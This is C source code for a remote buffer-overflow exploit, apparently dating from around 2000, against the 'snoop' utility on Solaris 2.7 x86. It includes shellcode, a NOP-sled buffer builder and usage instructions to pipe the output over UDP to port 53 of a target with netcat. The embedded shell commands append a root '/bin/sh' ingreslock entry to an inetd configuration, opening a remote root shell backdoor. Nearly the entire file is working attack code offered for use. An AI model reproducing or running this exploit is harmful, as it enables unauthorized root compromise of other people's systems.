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- /*
- by: K2,
- version .2
- this is a funny Solaris.
- remote Solaris 2.7 x86 snoop exploit
- rm /tmp/w0 yourself!&@$*(&$!*(@*$&()%RW
-
- run with ( ./snp ) | nc -u target_host_network 53
- requires target host to be running "snoop"
-
- verified with patch 108483-01
-
- thx str/horizon for shellcodes. Hi plageuz
- Hi mom.
- */
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-
-
- char shell[] =
- "\xEB\x37\x5E\x8D\x5E\x10\x89\x1E\x83\xC3\x08\x89"
- "\x5E\x04\x83\xC3\x03\x89\x5E\x08\x83\xEB\x0B\x8D"
- "\x0E\x89\xCA\x33\xC0\x89\x46\x0C\x89\x46\xF5\x89"
- "\x46\xFA\x88\x46\x17\x88\x46\x1A\xB0\x3B\x52\x51"
- "\x53\x50\x9A\x73\x74\x72\x6E\x07\x72\xE8\xC4\xFF"
- "\xFF\xFF\x31\x33\x20\x4A\x61\x6E\x20\x31\x39\x39"
- "\x38\x2D\x2D\x73\x74\x72\x2F\x62\x69\x6E\x2F\x73"
- "\x68\x28\x2D\x63\x29 echo w00w00;echo \"ingreslock"
- "stream tcp nowait root /bin/sh sh -i\" >>/tmp/w0;"
- "/usr/sbin/inetd -s /tmp/w0;/bin/rm -f /tmp/w0";
-
-
- #define SIZE 2048
- #define NOPDEF 349
- #define DEFOFF 0
-
- const char x86_nop=0x90;
- long nop=NOPDEF,esp=0x804646c;
- long offset=DEFOFF;
- char buffer[SIZE];
-
- int main (int argc, char *argv[]) {
- int i;
-
- if (argc > 1) offset += strtol(argv[1], NULL, 0);
- if (argc > 2) nop += strtoul(argv[2], NULL, 0);
-
- memset(buffer, x86_nop, SIZE);
- memcpy(buffer+nop, shell, strlen(shell));
- for (i = nop+strlen(shell); i < SIZE-4; i += 4) {
- *((int *) &buffer[i]) = esp+offset;
- }
-
- fprintf(stderr,"0x%x\n",esp+offset);
- printf("%s", buffer);
-
- return 0;
- }
-